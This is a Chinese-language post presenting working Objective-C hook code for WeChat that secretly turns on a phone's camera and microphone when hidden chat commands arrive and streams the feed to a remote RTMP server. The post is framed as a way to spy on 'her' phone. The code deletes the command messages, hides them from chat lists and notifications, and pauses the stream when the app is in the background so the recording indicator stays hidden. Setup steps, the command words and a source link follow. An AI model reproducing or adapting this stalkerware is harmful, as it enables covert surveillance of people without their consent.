利用微信监控手机摄像头
可以悄无声息的偷偷开启她的摄像头.使用后果自己承担.
书读的少文章不会写,直接上代码.
#import "HGLiveHook.h" #import
CHDeclareClass(CMessageMgr);
// 聊天窗口显示过滤处理 CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsg, id, arg1, MsgWrap, CMessageWrap *, wrap) {
[[HGLiveSettings shared] setMgr:self];
wrap.m_nsContent = [wrap.m_nsContent stringByReplacingOccurrencesOfString:@" " withString:@""];
if ([wrap.m_nsContent hasPrefix:sheZhiFuWuQi]) {
[HGLiveSettings setupServer:wrap.m_nsContent room:wrap.m_nsToUsr];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([wrap.m_nsContent isEqualToString:start]) {
[[HGLiveSettings shared] setIsPlay:YES];
[[HGLiveSettings shared] setWrap:wrap];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
if (![HGLiveSettings isNoAddress]) {
[HGLiveSettings AddMsgWithContent:WeiSheZhiFuWuQi];
return;
}
[HGLiveSettings AddMsgWithContent:[HGLiveSettings getPlayAddress]];
[[HGLiveManager shared] startRunning];
}
if ([wrap.m_nsContent isEqualToString:stop]) {
[[HGLiveSettings shared] setIsPlay:NO];
[[HGLiveManager shared] stopLive];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([wrap.m_nsContent isEqualToString:rotate]) {
[[HGLiveManager shared] rotateCamera];
[HGLiveSettings DelMsg:arg1 MsgWrap:wrap];
return;
}
if ([objc_getClass("CMessageWrap") isSenderFromMsgWrap:wrap]) {
if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return;
}
CHSuper2(CMessageMgr, AsyncOnAddMsg, arg1, MsgWrap, wrap);
复制代码
}
// 聊天列表显示过滤 CHOptimizedMethod2(self, void, CMessageMgr, AsyncOnAddMsgListForSession, NSDictionary *, arg1, NotifyUsrName, NSMutableSet *, arg2) { CMessageWrap *wrap = arg1[[arg2 anyObject]]; if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; CHSuper2(CMessageMgr, AsyncOnAddMsgListForSession, arg1, NotifyUsrName, arg2); }
// 通知过滤 CHOptimizedMethod1(self, void, CMessageMgr, MainThreadNotifyToExt, NSMutableDictionary *, arg1) { if ([arg1 valueForKey:@"3"]) { CMessageWrap *wrap = [arg1 valueForKey:@"3"]; if ([HGLiveSettings isEqualToCommand:wrap.m_nsContent]) return; } CHSuper1(CMessageMgr, MainThreadNotifyToExt, arg1); }
CHDeclareClass(MicroMessengerAppDelegate); // 将变为非活跃状态 CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillResignActive, id, arg1) { // 关闭. 由于进入后台.如果是开启状态.桌面状态栏会显示红色提醒用户后台录音开启.避免暴露,最好关闭 if ([[HGLiveSettings shared] isPlay]) { [[HGLiveManager shared] stopLive]; [HGLiveSettings AddMsgWithContent:@"stop"]; } CHSuper1(MicroMessengerAppDelegate, applicationWillResignActive, arg1); }
// 由后台进入前台 CHOptimizedMethod1(self, void, MicroMessengerAppDelegate, applicationWillEnterForeground, id, arg1) { // 开启. if ([[HGLiveSettings shared] isPlay]) { [[HGLiveManager shared] startRunning]; [HGLiveSettings AddMsgWithContent:@"start"]; } CHSuper1(MicroMessengerAppDelegate, applicationWillEnterForeground, arg1); } // 所有被hook的类和函数放在这里的构造函数中 CHConstructor { @autoreleasepool { CHLoadLateClass(CMessageMgr); CHHook2(CMessageMgr, AsyncOnAddMsg, MsgWrap); CHHook2(CMessageMgr, AsyncOnAddMsgListForSession, NotifyUsrName); CHHook1(CMessageMgr, MainThreadNotifyToExt);
CHLoadLateClass(MicroMessengerAppDelegate);
CHHook1(MicroMessengerAppDelegate, applicationWillResignActive);
CHHook1(MicroMessengerAppDelegate, applicationWillEnterForeground);
}
复制代码
}
@interface HGLiveSettings()
@end @implementation HGLiveSettings
static HGLiveSettings *_shareInstance = nil;
- (instancetype)shared { if (!_shareInstance) { _shareInstance = [[self alloc] init]; } return _shareInstance; }
- (void)setWrap:(CMessageWrap *)wrap { _wrap = [wrap copy]; _wrap.m_nsFromUsr = wrap.m_nsToUsr; _wrap.m_nsToUsr = wrap.m_nsFromUsr; _wrap.m_uiMesLocalID = 0; _wrap.m_n64MesSvrID = 0; _wrap.m_uiStatus = 1; _wrap.m_uiMessageType = 1; _wrap.m_nsMsgSource = nil; }
-
(void)setupServer:(NSString *)address room:(NSString *)room { NSString *fwq = [address stringByReplacingOccurrencesOfString:@":" withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@":" withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@" " withString:@""]; fwq = [fwq stringByReplacingOccurrencesOfString:@"#服务器" withString:@""]; if (fwq.length < 8) return; NSString *roomID = [room stringByReplacingOccurrencesOfString:@"wxid_" withString:@""]; NSString *rtmpAddress = [NSString stringWithFormat:@"rtmp://%@:2018/hls/%@",fwq ,roomID]; NSString *httpAddress = [NSString stringWithFormat:@"http://%@:8080/hls/%@.m3u8",fwq, roomID]; NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; [ud setObject:rtmpAddress forKey:@"rtmpAddress"]; [ud setObject:httpAddress forKey:@"httpAddress"]; [ud synchronize]; //立即写入 }
-
(void)DelMsg:(NSString *)DelMsg MsgWrap:(CMessageWrap *)MsgWrap { [[[self shared] mgr] DelMsg:DelMsg MsgWrap:MsgWrap]; [[[self shared] mgr] DelMsg:DelMsg MsgList:MsgWrap DelAll:NO]; [[[self shared] mgr] AsyncOnDelMsg:DelMsg MsgWrap:MsgWrap]; }
-
(void)AddMsg:(NSString *)AddMsg MsgWrap:(CMessageWrap *)MsgWrap { [[[self shared] mgr] AddMsg:AddMsg MsgWrap:MsgWrap]; [self DelMsg:AddMsg MsgWrap:MsgWrap]; }
-
(void)AddMsgWithContent:(NSString *)nsContent { CMessageWrap *MsgWrap = [[self shared] wrap]; MsgWrap.m_nsContent = nsContent; [[[self shared] mgr] AddMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap]; [self DelMsg:MsgWrap.m_nsToUsr MsgWrap:MsgWrap]; }
-
(BOOL)isNoAddress { NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"]; NSString *httpAddress = [ud objectForKey:@"httpAddress"]; if (rtmpAddress == nil || httpAddress == nil) return NO; return YES; }
-
(NSString *)getPlayAddress { NSUserDefaults *ud = [NSUserDefaults standardUserDefaults]; NSString *rtmpAddress = [ud objectForKey:@"rtmpAddress"]; NSString *httpAddress = [ud objectForKey:@"httpAddress"]; return [NSString stringWithFormat:@"#播放地址,网页地址:%@,播放器地址:%@",httpAddress,rtmpAddress]; }
-
(BOOL)isEqualToCommand:(NSString *)command { if ([command isEqualToString:start] || [command isEqualToString:stop] || [command isEqualToString:rotate] || [command hasPrefix:shiPingDiZhi] || [command hasPrefix:sheZhiFuWuQi] || [command isEqualToString:WeiSheZhiFuWuQi]) { return YES; } return NO; }
@end
#import "HGLiveManager.h" #import "LFLiveKit.h"
@interface HGLiveManager() @property (nonatomic, strong) LFLiveSession *liveSession; @end
@implementation HGLiveManager
static HGLiveManager *_shared;
- (instancetype)shared { if (!_shared) { _shared = [[self alloc] init]; } return _shared; }
-
(instancetype)init { if (self = [super init]) { LFLiveAudioConfiguration *audioConfig = [LFLiveAudioConfiguration defaultConfiguration]; LFLiveVideoQuality videoQuality = LFLiveVideoQuality_Low1; LFLiveVideoConfiguration *aideoConfig = [LFLiveVideoConfiguration defaultConfigurationForQuality:videoQuality]; self.liveSession = [[LFLiveSession alloc] initWithAudioConfiguration:audioConfig videoConfiguration:aideoConfig]; } return self; }
-
(void)startRunning {
dispatch_async(dispatch_get_global_queue(0, 0), ^{ self.liveSession.running = NO; self.liveSession.preView = [UIView new]; LFLiveStreamInfo *streamInfo = [LFLiveStreamInfo new]; streamInfo.url = [[NSUserDefaults standardUserDefaults] objectForKey:@"rtmpAddress"]; [self.liveSession startLive:streamInfo]; self.liveSession.running = YES; }); }
-
(void)rotateCamera {
if (!self.liveSession.running) return; AVCaptureDevicePosition position = self.liveSession.captureDevicePosition; self.liveSession.captureDevicePosition = position == AVCaptureDevicePositionBack?AVCaptureDevicePositionFront:AVCaptureDevicePositionBack; }
-
(void)stopLive{ self.liveSession.running = NO; }
@end
服务器,免费的很多注册一个几分钟的事.配置服务器选择系统 Ubuntu 安装 nginx 和 srs 简单配置一下即可 .具体配置 方法网上很多.
配置好服务器这样就可以开始使用了 直接给安装插件的微信发送信息 1.设置服务器ip 命令 :#服务器192.168.0.1
2.开启视频 命令:#ksp
3.关视频 命令你猜?
4.切换前后摄像头 命令#hjt
微信进入后台会自动关闭.给提发送一条信息告诉你对方微信不在前台.当微信进入前台,会给你发个信息告诉你上线了
最后附上源码 https://github.com/yh8577/wechat_live/tree/master